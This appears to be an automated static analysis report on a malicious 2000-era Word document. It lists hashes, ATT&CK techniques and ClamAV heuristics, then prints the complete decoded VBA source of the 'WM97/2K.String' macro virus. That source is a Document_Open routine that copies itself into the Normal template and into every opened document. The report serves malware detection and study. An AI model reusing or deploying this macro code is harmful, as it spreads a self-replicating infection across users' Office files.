Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1464a409ba3a5a17…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-07-19 13:49:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: d7ec8223dcaa1430ce1777658bd46d28 SHA-1: 1f32f679781648bbacc41920580929119fa0e41a SHA-256: 1464a409ba3a5a1725f7f78e18373df4938eccbe78cbf4c286dbeec79ed65656
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro is designed to copy itself to the Normal template and active document, indicating an attempt to establish persistence or ensure execution. The ClamAV detection 'Doc.Trojan.Strings-1' suggests it's a known malicious document, likely a downloader or dropper.

Heuristics 3

  • ClamAV: Doc.Trojan.Strings-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Strings-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1307 bytes
SHA-256: ea0737acf9a8a4454259bd65a670b5f9bd06a61bef5cdaef9ffaf1577e9d0e43
Detection
ClamAV: Doc.Trojan.Strings-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'e[ax]
Private Sub Document_open()
Dim KVICKJS, CHSJEUR, LCXJSIE, OCKAJRF, SIFDMXU
Set CHSJEUR = ThisDocument.VBProject.VBComponents(1).CodeModule
Set OCKAJRF = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set LCXJSIE = ActiveDocument.VBProject.VBComponents(1).CodeModule
KVICKJS = Strings.Trim(CHSJEUR.lines(1, CHSJEUR.countoflines))
SIFDMXU = Strings.LCase("'e[ax]")
If SIFDMXU <> OCKAJRF.lines(1, 1) Then
With OCKAJRF
.deletelines 1, OCKAJRF.countoflines
.insertlines 1, KVICKJS
End With
End If
If SIFDMXU <> LCXJSIE.lines(1, 1) Then
With LCXJSIE
.deletelines 1, LCXJSIE.countoflines
.insertlines 1, KVICKJS
End With
End If
'WM97/2K.String by e[ax]
'SIM v1.0 [String Infection Method] by e[ax]
'Greetz: k04x, rudeboy, BIGFOOOT, E-man, SnakeLord, t[r]ax
'H4dija, te ostale pri BIHnet.ORG-u
'SP.greetz to: Jackie 2Fl0wer, KnowDeth, ASMhead, Mist, mort-
'nala, Giga, LifeWire, Fulvian, Evul, and to all ppl on #virus
'10x once again for inspiration...
'VicES: Where ar u man!?
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.